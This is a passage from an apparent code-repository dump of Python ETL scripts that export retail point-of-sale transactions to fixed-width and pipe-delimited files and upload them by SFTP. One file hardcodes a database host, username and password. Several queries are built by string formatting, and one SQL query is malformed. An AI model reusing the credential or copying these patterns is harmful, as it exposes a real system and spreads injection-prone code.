data['ticket_no'][-7:]))\n temp.append(\"{:0>3}\".format(data['seq_no'][:3]))\n temp.append(\"{:0>16}\".format(data['sku'][:16]))\n temp.append(\"{:0>16}\".format(data['barcode'][:16]))\n temp.append(\"{:1}\".format(data['qty_sign'][:1]))\n temp.append(\"{:0>6}\".format(data['quantity'][:6]))\n temp.append(\"{:0>12}\".format(data['jda_price'][:12]))\n temp.append(\"{:0>12}\".format(data['price_override'][:12]))\n temp.append(\"{:1}\".format(data['price_override_flag'][:1]))\n temp.append(\"{:0>12}\".format(data['total_net_amt'][:12]))\n temp.append(\"{:0>12}\".format(data['vat_amt'][:12]))\n temp.append(\"{:4}\".format(data['discount_type1'][:4]))\n temp.append(\"{:0>12}\".format(data['discount_amt1'][:12]))\n temp.append(\"{:4}\".format(data['discount_type2'][:4]))\n temp.append(\"{:0>12}\".format(data['discount_amt2'][:12]))\n temp.append(\"{:4}\".format(data['discount_type3'][:4]))\n temp.append(\"{:0>12}\".format(data['discount_amt3'][:12]))\n temp.append(\"{:4}\".format(data['discount_type4'][:4]))\n temp.append(\"{:0>12}\".format(data['discount_amt4'][:12]))\n temp.append(\"{:4}\".format(data['discount_type5'][:4]))\n temp.append(\"{:0>12}\".format(data['discount_amt5'][:12]))\n temp.append(\"{:4}\".format(data['discount_type6'][:4]))\n temp.append(\"{:0>12}\".format(data['discount_amt6'][:12]))\n temp.append(\"{:4}\".format(data['discount_type7'][:4]))\n temp.append(\"{:0>12}\".format(data['discount_amt7'][:12]))\n temp.append(\"{:4}\".format(data['discount_type8'][:4]))\n temp.append(\"{:0>12}\".format(data['discount_amt8'][:12]))\n temp.append(\"{:4}\".format(data['discount_type9'][:4]))\n temp.append(\"{:0>12}\".format(data['discount_amt9'][:12]))\n temp.append(\"{:4}\".format(data['discount_type10'][:4]))\n temp.append(\"{:0>12}\".format(data['discount_amt10'][:12]))\n temp.append(\"{:21}\".format(data['ref_id'][:21]))\n temp.append(\"{:9}\".format(data['ref_ticket'][-9:]))\n temp.append(\"{:0>8}\".format(data['ref_date'][:8]))\n temp.append(\"{:0>2}\".format(data['reason_code'][:2]))\n temp.append(\"{:0>6}\".format(data['event_no'][:6]))\n temp.append(\"{:0>3}\".format(data['dept_id'][:3]))\n temp.append(\"{:0>3}\".format(data['subdept_id'][:3]))\n temp.append(\"{:0>16}\".format(data['itemized'][:16]))\n temp.append(\"{:1}\".format(data['dtype'][:1]))\n temp.append(\"{:16}\".format(data['credit_cardno'][:16]))\n temp.append(\"{:21}\".format(data['customer_id'][:21]))\n temp.append(\"{:0>8}\".format(data['member_point'][:8]))\n temp.append(\"{:8}\".format(data['cashier_id'][:8]))\n temp.append(\"{:8}\".format(data['sale_person'][:8]))\n\n gen_text = \"\".join(temp)\n print(gen_text)\n result.append(gen_text)\n\n return result\n\n\ndef prepare_data_b2s(datas):\n result = []\n for data in datas:\n temp = []\n temp.append(\"{:0>5}\".format(data['store_code'][:5]))\n temp.append(\"{:0>8}\".format(data['transaction_date'][:8]))\n temp.append(\"{:0>4}\".format(data['transaction_time'][:4]))\n temp.append(\"{:0>2}\".format(data['transaction_type'][:2]))\n temp.append(\"{:0>4}\".format(data['ticket_no'][-9:][:3]))\n temp.append(\"{:0>4}\".format(data['ticket_no'][-4:]))\n temp.append(\"{:0>4}\".format(data['seq_no'][:4]))\n temp.append(\"{:0>16}\".format(data['sku'][:16]))\n temp.append(\"{:0>16}\".format(data['barcode'][:16]))\n temp.append(\"{:1}\".format(data['qty_sign'][:1]))\n temp.append(\"{:0>6}\".format(data['quantity'][:6]))\n temp.append(\"{:0>12}\".format(data['jda_price'][:12]))\n temp.append(\"{:0>12}\".format(data['price_override'][:12]))\n temp.append(\"{:1}\".format(data['price_override_flag'][:1]))\n temp.append(\"{:0>12}\".format(data['total_net_amt'][:12]))\n temp.append(\"{:0>12}\".format(data['vat_amt'][:12]))\n temp.append(\"{:4}\".format(data['discount_type1'][:4]))\n temp.append(\"{:0>12}\".format(data['discount_amt1'][:12]))\n temp.append(\"{:4}\".format(data['discount_type2'][:4]))\n temp.append(\"{:0>12}\".format(data['discount_amt2'][:12]))\n temp.append(\"{:4}\".format(data['discount_type3'][:4]))\n temp.append(\"{:0>12}\".format(data['discount_amt3'][:12]))\n temp.append(\"{:4}\".format(data['discount_type4'][:4]))\n temp.append(\"{:0>12}\".format(data['discount_amt4'][:12]))\n temp.append(\"{:21}\".format(data['ref_id'][:21]))\n temp.append(\"{:8}\".format(data['ref_ticket'][-8:]))\n temp.append(\"{:0>8}\".format(data['ref_date'][:8]))\n temp.append(\"{:0>2}\".format(data['reason_code'][:2]))\n temp.append(\"{:0>6}\".format(data['event_no'][:6]))\n temp.append(\"{:0>3}\".format(data['dept_id'][:3]))\n temp.append(\"{:0>3}\".format(data['subdept_id'][:3]))\n temp.append(\"{:0>16}\".format(data['itemized'][:16]))\n temp.append(\"{:1}\".format(data['dtype'][:1]))\n temp.append(\"{:16}\".format(data['credit_cardno'][:16]))\n temp.append(\"{:21}\".format(data['customer_id'][:21]))\n temp.append(\"{:0>8}\".format(data['member_point'][:8]))\n temp.append(\"{:8}\".format(data['cashier_id'][:8]))\n temp.append(\"{:8}\".format(data['sale_person'][:8]))\n\n result.append(\"\".join(temp))\n\n return result\n\n\ndef query_data(env, store, str_date):\n refresh_view = \"refresh materialized view mv_autopos_jda\"\n sql = \"\"\"\n select * from mv_autopos_jda\n where store_code = '{}' \n and interface_date = '{}'\n and not (\n\t (cast(discount_amt1 as numeric) > 0 and discount_type1 = '')\n\t or (cast(discount_amt2 as numeric) > 0 and discount_type2 = '')\n\t or (cast(discount_amt3 as numeric) > 0 and discount_type3 = '')\n\t or (cast(discount_amt4 as numeric) > 0 and discount_type4 = '')\n\t or (cast(discount_amt5 as numeric) > 0 and discount_type5 = '')\n\t or (cast(discount_amt6 as numeric) > 0 and discount_type6 = '')\n\t or (cast(discount_amt7 as numeric) > 0 and discount_type7 = '')\n\t or (cast(discount_amt8 as numeric) > 0 and discount_type8 = '')\n\t or (cast(discount_amt9 as numeric) > 0 and discount_type9 = '')\n\t or (cast(discount_amt10 as numeric) > 0 and discount_type10 = '')\n )\n \"\"\".format(store, str_date)\n sql_insert = \"insert into transaction_jda {}\".format(sql)\n insert_transaction(env, sql_insert)\n \n return query_matview(env, refresh_view, sql)\n\n\ndef generate_data_file(str_date, output_path, store, datas):\n file_name = 'SD' + store + '.TXT'\n file_fullpath = os.path.join(output_path, file_name)\n\n with open(file_fullpath, 'w') as f:\n f.write(\"\\n\".join(datas))\n print('[AutoPOS] - JDA[{}] create files completed..'.format(store))\n return [file_name]\n\n\ndef process(env, bu, store, cfg, run_date):\n dir_path = os.path.dirname(os.path.realpath(__file__))\n parent_path = os.path.abspath(os.path.join(dir_path, os.pardir))\n target_path = os.path.join(parent_path, 'output/autopos/{}/jda/{}'.format(env, bu), run_date)\n if not os.path.exists(target_path):\n os.makedirs(target_path)\n\n #files = generate_data_file(target_path, store, prepare_data(query_data(cfg['fms'], store, run_date)))\n files = generate_data_file(run_date, target_path, store, prepare_data(query_data(cfg['fms'], store, run_date)))\n if cfg['ftp']['is_enable']:\n destination = 'incoming/jda/{}'.format(bu)\n sftp(cfg['ftp']['host'], cfg['ftp']['user'], target_path, destination, files)\n" }, { "alpha_fraction": 0.75, "alphanum_fraction": 0.75, "avg_line_length": 33.25, "blob_id": "44ff0916bde147d964d8ec51e2398cc356adad9e", "content_id": "a4f8de45492a0f035375c6ed501e5acbaa8fd7bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 136, "license_type": "no_license", "max_line_length": 43, "num_lines": 4, "path": "/deploy_siebel.sh", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "#! /bin/bash\nscp src/sbl_* scheduler:/opt/siebel/src\nscp src/ofm_* scheduler:/opt/siebel/src\nscp src/common.py scheduler:/opt/siebel/src" }, { "alpha_fraction": 0.623067319393158, "alphanum_fraction": 0.6335411667823792, "avg_line_length": 43.309391021728516, "blob_id": "fa07fb77cc9318ec7628862bfc7f8d03e22b522d", "content_id": "150695284cb09c7513705f0cba44373f61247745", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8020, "license_type": "no_license", "max_line_length": 128, "num_lines": 181, "path": "/src/autopos_bi_cds.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "from common import config, connect_psql, get_file_seq, insert_transaction, query_all, query_matview, sftp\nfrom datetime import datetime, timedelta\nimport os, sys, traceback\n\ntext_format = {\n 'promo': [\n 'transaction_date', 'store_code', 'barcode', 'brand_id', 'vendor_id',\n 'dept_id', 'subdept_id', 'global_campaing_id',\n 'discount_code1', 'discount_amt_excvat1', 'discount_amt_incvat1', \n 'discount_code2', 'discount_amt_excvat2', 'discount_amt_incvat2', \n 'discount_code3', 'discount_amt_excvat3', 'discount_amt_incvat3', \n 'discount_code4', 'discount_amt_excvat4', 'discount_amt_incvat4', \n 'discount_code5', 'discount_amt_excvat5', 'discount_amt_incvat5', \n 'discount_code6', 'discount_amt_excvat6', 'discount_amt_incvat6', \n 'discount_code7', 'discount_amt_excvat7', 'discount_amt_incvat7', \n 'discount_code8', 'discount_amt_excvat8', 'discount_amt_incvat8', \n 'discount_code9', 'discount_amt_excvat9', 'discount_amt_incvat9', \n 'discount_code10', 'discount_amt_excvat10', 'discount_amt_incvat10', \n 'net_amt_excvat', 'net_amt_incvat'\n ],\n 'discount': [\n 'transaction_date', 'store_code', 'barcode', 'brand_id', 'vendor_id',\n 'dept_id', 'subdept_id', 'discount_host_code', 'global_campaing_id',\n 'discount_amt_excvat', 'discount_amt_incvat'\n ],\n 'payment': [\n 'transaction_date', 'store_code', 'media_member_code',\n 'pay_amt_incvat', 'pay_amt_excvat'\n ],\n}\n\n\ndef prepare_data(data, fields, str_date):\n result = []\n for field in fields:\n result.append(data[field])\n if str_date:\n result.append(str_date)\n\n return \"|\".join(result)\n\n\ndef generate_trans_payment(output_path, str_date, store, data):\n bu = 'BIMS_' if store == '17016' or store == '17002' else 'BICDS_'\n prefix = bu + store + '_Payment_' + str_date + \"_\"\n seq = get_file_seq(prefix, output_path, '.TXT')\n file_name = prefix + str(seq) + '.TXT'\n file_fullpath = os.path.join(output_path, file_name)\n log_name = prefix + str(seq) + '.LOG'\n log_fullpath = os.path.join(output_path, log_name)\n result = [prepare_data(d, text_format['payment'], str_date[:8]) for d in data]\n\n with open(file_fullpath, 'w') as f, open(log_fullpath, 'w') as l:\n if len(result) > 0:\n f.write(\"\\n\".join(result))\n else:\n f.write(\"NO RECORD\")\n f.write(\"\\n\")\n l.write('{:8}|{:4}|{}'.format(str_date[:8], str_date[-4:], len(result)))\n l.write(\"\\n\")\n print('[AutoPOS] - BI CDS[{}] payment create files completed..'.format(store))\n return [file_name, log_name]\n\n\ndef generate_trans_promo(output_path, str_date, store, data):\n bu = 'BIMS_' if store == '17016' or store == '17002' else 'BICDS_'\n prefix = bu + store + '_Promotion_' + str_date + \"_\"\n seq = get_file_seq(prefix, output_path, '.TXT')\n file_name = prefix + str(seq) + '.TXT'\n file_fullpath = os.path.join(output_path, file_name)\n log_name = prefix + str(seq) + '.LOG'\n log_fullpath = os.path.join(output_path, log_name)\n result = [prepare_data(d, text_format['promo'], str_date[:8]) for d in data]\n\n with open(file_fullpath, 'w') as f, open(log_fullpath, 'w') as l:\n if len(result) > 0:\n f.write(\"\\n\".join(result))\n else:\n f.write(\"NO RECORD\")\n f.write(\"\\n\")\n l.write('{:8}|{:4}|{}'.format(str_date[:8], str_date[-4:], len(result)))\n l.write(\"\\n\")\n print('[AutoPOS] - BI CDS[{}] promotion create files completed..'.format(store))\n return [file_name, log_name]\n\n\ndef generate_trans_discount(output_path, str_date, store, data):\n bu = 'BIMS_' if store == '17016' or store == '17002' else 'BICDS_'\n prefix = bu + store + '_Discount_' + str_date + \"_\"\n seq = get_file_seq(prefix, output_path, '.TXT')\n file_name = prefix + str(seq) + '.TXT'\n file_fullpath = os.path.join(output_path, file_name)\n log_name = prefix + str(seq) + '.LOG'\n log_fullpath = os.path.join(output_path, log_name)\n result = [prepare_data(d, text_format['discount'], str_date[:8]) for d in data]\n\n with open(file_fullpath, 'w') as f, open(log_fullpath, 'w') as l:\n if len(result) > 0:\n f.write(\"\\n\".join(result))\n else:\n f.write(\"NO RECORD\")\n f.write(\"\\n\")\n l.write('{:8}|{:4}|{}'.format(str_date[:8], str_date[-4:], len(result)))\n l.write(\"\\n\")\n print('[AutoPOS] - BI CDS[{}] discount create files completed..'.format(store))\n return [file_name, log_name]\n\n\ndef main():\n env = sys.argv[1] if len(sys.argv) > 1 else 'local'\n print(\"\\n===== Start Siebel [{}] =====\".format(env))\n cfg = config(env)\n now = datetime.now()\n query_date = cfg['run_date'] if cfg['run_date'] else (now - timedelta(days=1)).strftime('%Y%m%d')\n str_date = cfg['bicds_date'] if cfg['bicds_date'] else now.strftime('%Y%m%d%H%M')\n dir_path = os.path.dirname(os.path.realpath(__file__))\n parent_path = os.path.abspath(os.path.join(dir_path, os.pardir))\n target_path_payment = os.path.join(\n parent_path, 'output/autopos/{}/bicds/payment'.format(env), str_date)\n if not os.path.exists(target_path_payment):\n os.makedirs(target_path_payment)\n target_path_promotion = os.path.join(\n parent_path, 'output/autopos/{}/bicds/promotion'.format(env), str_date)\n if not os.path.exists(target_path_promotion):\n os.makedirs(target_path_promotion)\n target_path_discount = os.path.join(\n parent_path, 'output/autopos/{}/bicds/discount'.format(env), str_date)\n if not os.path.exists(target_path_discount):\n os.makedirs(target_path_discount)\n\n print(\"Path: {}\".format(dir_path))\n print(\"Parent path: {}\".format(parent_path))\n print(\"Target path payment: {}\".format(target_path_payment))\n print(\"Target path promotion: {}\".format(target_path_promotion))\n print(\"Target path discount: {}\".format(target_path_discount))\n\n try:\n dbfms = cfg['fms']\n stores = [\n x['store_code']\n for x in query_all(dbfms,\n \"select store_code from businessunit where status = 'Active' and store_code in is_store = true group by store_code \"\n )\n ]\n print(\"Stores: {}\".format(stores))\n for store in stores:\n refresh_view = \"refresh materialized view mv_autopos_bi_cds_trans_payment\"\n sql = \"select * from mv_autopos_bi_cds_trans_payment where interface_date = '{}' and store_code = '{}'\".format(\n query_date, store)\n data = query_matview(dbfms, refresh_view, sql)\n payment = generate_trans_payment(target_path_payment, str_date, store, data)\n sql_insert = \"insert into transaction_bi_cds_payment {}\".format(sql)\n insert_transaction(dbfms, sql_insert)\n\n refresh_view = \"refresh materialized view mv_autopos_bi_cds_trans_promo\"\n sql = \"select * from mv_autopos_bi_cds_trans_promo where interface_date = '{}' and store_code = '{}'\".format(\n query_date, store)\n data = query_matview(dbfms, refresh_view, sql)\n promo = generate_trans_promo(target_path_promotion, str_date, store, data)\n sql_insert = \"insert into transaction_bi_cds_promo {}\".format(sql)\n insert_transaction(dbfms, sql_insert)\n\n refresh_view = \"refresh materialized view mv_autopos_bi_cds_trans_discount\"\n sql = \"select * from mv_autopos_bi_cds_trans_discount where interface_date = '{}' and store_code = '{}'\".format(\n query_date, store)\n data = query_matview(dbfms, refresh_view, sql)\n discount = generate_trans_discount(target_path_discount, str_date, store, data)\n sql_insert = \"insert into transaction_bi_cds_discount {}\".format(sql)\n insert_transaction(dbfms, sql_insert)\n\n if cfg['ftp']['is_enable']:\n sftp(cfg['ftp']['host'], cfg['ftp']['user'], target_path_payment, 'incoming/bicds/payment', payment)\n sftp(cfg['ftp']['host'], cfg['ftp']['user'], target_path_promotion, 'incoming/bicds/promotion', promo)\n sftp(cfg['ftp']['host'], cfg['ftp']['user'], target_path_discount, 'incoming/bicds/discount', discount)\n except Exception as e:\n print('[AutoPOS] - BI CDS Error: %s' % str(e))\n traceback.print_tb(e.__traceback__)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6027550101280212, "alphanum_fraction": 0.6099463105201721, "avg_line_length": 38.492000579833984, "blob_id": "6c9c326433d4de4503503662962f3e0349635495", "content_id": "2c1ceb3f6424f9ef101cce9398699a82933a6aaa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9873, "license_type": "no_license", "max_line_length": 123, "num_lines": 250, "path": "/src/autopos_bi_ssp.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "from common import config, connect_psql, get_file_seq, insert_transaction, query_all, query_matview, sftp\nfrom datetime import datetime, timedelta\nimport os, sys, traceback\n\ntext_format = {\n 'sale_detail': [\n 'store_code',\n 'receipt_date',\n 'receipt_time',\n 'transaction_type',\n 'pos_id',\n 'receipt_no',\n 'line_number',\n 'sku',\n 'quantity',\n 'price_before_override',\n 'price_after_override',\n 'price_override_flag',\n 'total_sale',\n 'vat_rate',\n 'vat_amt',\n 'discount_code1',\n 'discount_amt1',\n 'discoune_flag1',\n 'discount_code2',\n 'discount_amt2',\n 'discoune_flag2',\n 'discount_code3',\n 'discount_amt3',\n 'discoune_flag3',\n 'discount_code4',\n 'discount_amt4',\n 'discoune_flag4',\n 'discount_code5',\n 'discount_amt5',\n 'discoune_flag5',\n 'discount_code6',\n 'discount_amt6',\n 'discoune_flag6',\n 'discount_code7',\n 'discount_amt7',\n 'discoune_flag7',\n 'discount_code8',\n 'discount_amt8',\n 'discoune_flag8',\n 'discount_code9',\n 'discount_amt9',\n 'discoune_flag9',\n 'discount_code10',\n 'discount_amt10',\n 'discoune_flag10',\n 'ref_receipt_no',\n 'ref_date',\n 'return_reason_code',\n 'dept_id',\n 'subdept_id',\n 'class_id',\n 'subclass_id',\n 'vendor_id',\n 'brand_id',\n 'itemized',\n 'dtype',\n 'member_id',\n 'cashier_id',\n 'sale_id',\n 'guide_id',\n 'last_modify_date',\n ],\n 'tendor_detail': [\n 'store_code', 'receipt_date', 'receipt_time', 'transaction_type',\n 'pos_id', 'receipt_no', 'line_number', 'media_member_code',\n 'media_member_desc', 'tendor_amt', 'credit_cardno'\n ],\n 'installment': [\n 'store_code', 'receipt_date', 'receipt_time', 'transaction_type',\n 'pos_id', 'receipt_no', 'vendor_id', 'brand_id', 'dept_id',\n 'subdept_id', 'sku', 'tendor_type', 'installment_period',\n 'credit_cardno', 'interest_rate', 'tendor_amt'\n ],\n 'dcpn': [\n 'store_code', 'receipt_date', 'receipt_time', 'transaction_type',\n 'pos_id', 'receipt_no', 'coupon_id'\n ],\n}\n\n\ndef prepare_data(data, fields, str_date):\n result = []\n for field in fields:\n result.append(data[field])\n if str_date:\n result.append(str_date)\n\n return \"|\".join(result)\n\n\ndef generate_trans_sale_detail(output_path, str_date, store, data):\n prefix = 'BISSP_' + store + '_Sales_' + str_date[:12] + \"_\"\n seq = get_file_seq(prefix, output_path, '.DATA')\n file_name = '{}{:0>2}.DATA'.format(prefix, seq)\n file_fullpath = os.path.join(output_path, file_name)\n log_name = '{}{:0>2}.LOG'.format(prefix, seq)\n log_fullpath = os.path.join(output_path, log_name)\n result = [\n prepare_data(d, text_format['sale_detail'], '') for d in data\n ]\n\n with open(file_fullpath, 'w') as f, open(log_fullpath, 'w') as l:\n f.write(\"\\n\".join(result))\n f.write(\"\\n\")\n l.write('{}|{}|{}'.format(str_date[:8], str_date[-6:], len(result)))\n l.write(\"\\n\")\n print('[AutoPOS] - BI SSP[{}] transaction sale detail create files completed..'.format(store))\n return [file_name, log_name]\n\n\ndef generate_trans_tendor_detail(output_path, str_date, store, data):\n prefix = 'BISSP_' + store + '_Tendor_' + str_date[:12] + \"_\"\n seq = get_file_seq(prefix, output_path, '.DATA')\n file_name = '{}{:0>2}.DATA'.format(prefix, seq)\n file_fullpath = os.path.join(output_path, file_name)\n log_name = '{}{:0>2}.LOG'.format(prefix, seq)\n log_fullpath = os.path.join(output_path, log_name)\n result = [\n prepare_data(d, text_format['tendor_detail'], str_date[:8]) for d in data\n ]\n\n with open(file_fullpath, 'w') as f, open(log_fullpath, 'w') as l:\n f.write(\"\\n\".join(result))\n f.write(\"\\n\")\n l.write('{}|{}|{}'.format(str_date[:8], str_date[-6:], len(result)))\n l.write(\"\\n\")\n print('[AutoPOS] - BI SSP[{}] transaction tendor detail create files completed..'.format(store))\n return [file_name, log_name]\n\n\ndef generate_trans_installment(output_path, str_date, store, data):\n prefix = 'BISSP_' + store + '_Installment_' + str_date[:12] + \"_\"\n seq = get_file_seq(prefix, output_path, '.DATA')\n file_name = '{}{:0>2}.DATA'.format(prefix, seq)\n file_fullpath = os.path.join(output_path, file_name)\n log_name = '{}{:0>2}.LOG'.format(prefix, seq)\n log_fullpath = os.path.join(output_path, log_name)\n result = [\n prepare_data(d, text_format['installment'], str_date[:8]) for d in data\n ]\n\n with open(file_fullpath, 'w') as f, open(log_fullpath, 'w') as l:\n f.write(\"\\n\".join(result))\n f.write(\"\\n\")\n l.write('{}|{}|{}'.format(str_date[:8], str_date[-6:], len(result)))\n l.write(\"\\n\")\n print('[AutoPOS] - BI SSP[{}] transaction installment create files completed..'.format(store))\n return [file_name, log_name]\n\n\ndef generate_trans_dcpn(output_path, str_date, store, data):\n prefix = 'BISSP_' + store + '_DCPN_' + str_date[:12] + \"_\"\n seq = get_file_seq(prefix, output_path, '.DATA')\n file_name = '{}{:0>2}.DATA'.format(prefix, seq)\n file_fullpath = os.path.join(output_path, file_name)\n log_name = '{}{:0>2}.LOG'.format(prefix, seq)\n log_fullpath = os.path.join(output_path, log_name)\n result = [prepare_data(d, text_format['dcpn'], str_date[:8]) for d in data]\n\n with open(file_fullpath, 'w') as f, open(log_fullpath, 'w') as l:\n f.write(\"\\n\".join(result))\n f.write(\"\\n\")\n l.write('{}|{}|{}'.format(str_date[:8], str_date[-6:], len(result)))\n l.write(\"\\n\")\n print('[AutoPOS] - BI SSP[{}] transaction dpcn create files completed..'.format(store))\n return [file_name, log_name]\n\n\ndef main():\n env = sys.argv[1] if len(sys.argv) > 1 else 'local'\n print(\"\\n===== Start Siebel [{}] =====\".format(env))\n cfg = config(env)\n now = datetime.now()\n query_date = cfg['run_date'] if cfg['run_date'] else (now - timedelta(days=1)).strftime('%Y%m%d')\n str_date = cfg['bissp_date'] if cfg['bissp_date'] else now.strftime('%Y%m%d%H%M%S')\n \n dir_path = os.path.dirname(os.path.realpath(__file__))\n parent_path = os.path.abspath(os.path.join(dir_path, os.pardir))\n target_path_tendor = os.path.join(parent_path, 'output/autopos/{}/bissp/tendor'.format(env), str_date)\n if not os.path.exists(target_path_tendor):\n os.makedirs(target_path_tendor)\n target_path_sale = os.path.join(parent_path, 'output/autopos/{}/bissp/sale'.format(env), str_date)\n if not os.path.exists(target_path_sale):\n os.makedirs(target_path_sale)\n target_path_installment = os.path.join(parent_path, 'output/autopos/{}/bissp/installment'.format(env), str_date)\n if not os.path.exists(target_path_installment):\n os.makedirs(target_path_installment)\n target_path_dcpn = os.path.join(parent_path, 'output/autopos/{}/bissp/dcpn'.format(env), str_date)\n if not os.path.exists(target_path_dcpn):\n os.makedirs(target_path_dcpn)\n\n try:\n dbfms = cfg['fms']\n stores = [\n x['store_code']\n for x in query_all(dbfms, \n \"select store_code from businessunit where businessunit_code = 'SSP' and status = 'AT' group by store_code\"\n )\n ]\n for store in stores:\n refresh_view = \"refresh materialized view mv_autopos_bi_ssp_trans_sale_detail\"\n sql = \"select * from mv_autopos_bi_ssp_trans_sale_detail where store_code = '{}' and interface_date = '{}'\".format(\n store, query_date)\n data = query_matview(dbfms, refresh_view, sql)\n sale = generate_trans_sale_detail(target_path_sale, str_date, store, data)\n sql_insert = \"insert into transaction_bi_ssp_sale_detail {}\".format(sql)\n insert_transaction(dbfms, sql_insert)\n\n refresh_view = \"refresh materialized view mv_autopos_bi_ssp_trans_tendor_detail\"\n sql = \"select * from mv_autopos_bi_ssp_trans_tendor_detail where store_code = '{}' and interface_date = '{}'\".format(\n store, query_date)\n data = query_matview(dbfms, refresh_view, sql)\n tendor = generate_trans_tendor_detail(target_path_tendor, str_date, store, data)\n sql_insert = \"insert into transaction_bi_ssp_tendor_detail {}\".format(sql)\n insert_transaction(dbfms, sql_insert)\n\n refresh_view = \"refresh materialized view mv_autopos_bi_ssp_trans_installment\"\n sql = \"select * from mv_autopos_bi_ssp_trans_installment where store_code = '{}' and interface_date = '{}'\".format(\n store, query_date)\n data = query_matview(dbfms, refresh_view, sql)\n installment = generate_trans_installment(target_path_installment, str_date, store, data)\n sql_insert = \"insert into transaction_bi_ssp_installment {}\".format(sql)\n insert_transaction(dbfms, sql_insert)\n\n refresh_view = \"refresh materialized view mv_autopos_bi_ssp_trans_dpcn\"\n sql = \"select * from mv_autopos_bi_ssp_trans_dpcn where store_code = '{}' and interface_date = '{}'\".format(\n store, query_date)\n data = query_matview(dbfms, refresh_view, sql)\n dcpn = generate_trans_dcpn(target_path_dcpn, str_date, store, data)\n sql_insert = \"insert into transaction_bi_ssp_dpcn {}\".format(sql)\n insert_transaction(dbfms, sql_insert)\n\n if cfg['ftp']['is_enable']:\n sftp(cfg['ftp']['host'], cfg['ftp']['user'], target_path_tendor, 'incoming/bissp/tendor', tendor)\n sftp(cfg['ftp']['host'], cfg['ftp']['user'], target_path_sale, 'incoming/bissp/sale', sale)\n sftp(cfg['ftp']['host'], cfg['ftp']['user'], target_path_installment,'incoming/bissp/installment', installment)\n sftp(cfg['ftp']['host'], cfg['ftp']['user'], target_path_dcpn, 'incoming/bissp/dcpn', dcpn)\n except Exception as e:\n print('[AutoPOS] - BI SSP Error: %s' % str(e))\n traceback.print_tb(e.__traceback__)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5712383389472961, "alphanum_fraction": 0.6055259704589844, "avg_line_length": 35.4121208190918, "blob_id": "aba2028c44317efc62ea10e8f83b66737a04595a", "content_id": "696c08843e05939f4ed4ef24c96aabcd06b88bac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6008, "license_type": "no_license", "max_line_length": 119, "num_lines": 165, "path": "/src/ofin_h.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "from datetime import datetime, timedelta\nimport os\nimport sys\nimport pymssql\n\n_date = datetime.strptime('2017-08-03', '%Y-%m-%d')\n\n\ndef connect_db():\n return pymssql.connect('10.17.221.173', 'coreii', 'co@2ii!', 'DBMKP')\n\n\ndef ofin_ap_trans_header(fromdate, todate):\n '''\n ofin_ap_trans_header call store spc_OFIN_APTranHead and return\n rows that return from store procedure\n '''\n with connect_db() as conn:\n with conn.cursor(as_dict=True) as cursor:\n cursor.callproc('spc_OFIN_APTranHead', (fromdate, todate))\n return [row for row in cursor]\n\n\ndef checkrule_goodsreceiving_rtv_mer_header():\n '''\n checkrule_goodsreceiving_rtv_mer_header query table TBOFINAPTransUFMT_Temp\n and return rows\n '''\n with connect_db() as conn:\n with conn.cursor(as_dict=True) as cursor:\n cursor.execute('SELECT * FROM TBOFINAPTransUFMT_Temp')\n return [row for row in cursor]\n\n\ndef check_vendor_numberH(dt_merl):\n vendor_num_key = 'Vendor_num'\n return len([\n row for row in dt_merl\n if row[vendor_num_key] == ('0' * 6) or row[vendor_num_key] == ('0' * 5)\n ]) > 0\n\n\ndef main_checkrule_merh(dt_merh):\n return check_vendor_numberH(dt_merh)\n\n\ndef gen_seq_number(files, prefix_file_name, prefix_len):\n f_has_prefix = [f for f in files if f[0:prefix_len] == prefix_file_name]\n if len(f_has_prefix) > 0:\n return max([int(date[1:prefix_len]) for date in f_has_prefix]) + 1\n else:\n return 1\n\n\ndef generate_text_files_mer_header(data, fromdate, todate):\n # dt_merh is data table from TBOFINAPTransUFMT_Temp\n dt_merh = checkrule_goodsreceiving_rtv_mer_header()\n if main_checkrule_merh(dt_merh):\n print('main_checkrule_merh failed')\n return\n\n parent_folder = os.path.dirname(os.path.realpath(__file__))\n dpath = parent_folder + '/BACKUP_OFIN/' + 'D' + _date.strftime('%Y-%m-%d')\n if not os.path.exists(dpath):\n os.makedirs(dpath)\n sp = fromdate.strftime('%y%m%d')\n prefix_filename_mer = 'H{0}'.format(sp)\n # TODO: change 7 to len from prefix_filename_mer\n seq = gen_seq_number([\n filename for filename in os.listdir(dpath) if filename.endswith('.MER')\n ], prefix_filename_mer, len(sp))\n mer_name_line = '{}{}{}'.format(prefix_filename_mer, seq, '.MER')\n path = parent_folder + '/BACKUP_OFIN/' + 'D' + _date.strftime(\n '%Y-%m-%d') + '/' + mer_name_line\n with open(path, 'w') as writer:\n try:\n for line in data:\n writer.write(\n '%-3s%-50s%-30s%-6s%-1s%-13s%-6s%-1s%-1s%-2s%-5s%-50s%-50s%-10s%-3s%-4s%-2s%-15s%-50s%-14s%-6s%-10s%-50s\\n'\n % (line['Source'], line['Invoice_num'], line['Vendor_num'],\n line['Invoice_date'].strftime('%d%m%y'),\n get_invoice_type_dash_or_zero(line['Invoice_type']),\n '{:0>13}'.format(line['Invoice_total']), line['Store_id'],\n line['Invoice_type'], line['Imported_goods'],\n line['Hold_reason01'], line['Invoice_tax_name'],\n line['Tax_inv_running_no'], line['Blank1'], line['RTV_auth_no'],\n line['Currency_code'], line['Terms'], line['Blank2'],\n line['Gr_tran_no'], line['Ass_tax_invoice_num'], line['Blank3'],\n \"\" if line['Tax_inv_running_no'] == \"\" else\n line['Tax_Invoice_Date'].strftime(\"%d%m%y\"),\n line['Invoice_RTV_Type'], line['CurrencyRate']))\n\n print(' Create Files AP(Header) .MER Complete..')\n except Exception as e:\n print(' Create Files AP(Header) .MER Error .. : ')\n print(str(e))\n create_data_mer_header(path)\n\n\ndef create_data_mer_header(path):\n data = get_data_from_file(path)\n with connect_db() as conn:\n with conn.cursor(as_dict=True) as cursor:\n cursor.execute('TRUNCATE TABLE TBOFINAPTransFMT_Temp')\n query = \"\"\"\n INSERT INTO 